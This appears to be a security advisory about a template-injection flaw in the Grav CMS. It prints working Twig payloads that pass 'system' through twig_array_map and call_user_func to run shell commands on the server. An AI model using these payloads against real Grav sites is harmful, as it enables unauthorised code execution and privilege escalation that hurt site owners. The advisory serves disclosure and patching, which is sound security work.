Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twigarraymap, allowing attackers to bypass the validation and execute arbitrary commands.
{{ grav.twig.twig.getFunction('twig_array_map')|var_dump }}
When we accessed twigarraymap like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twigarraymap without any restrictions.
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Since there is no validation on twigarraymap itself, it is possible to call arbitrary function using calluserfunc.
{% set cmd = {'id':'system'} %}
{{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }}
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.
{ "nvd_published_at": "2024-03-21T22:15:11Z", "cwe_ids": [ "CWE-94" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-22T16:35:48Z" }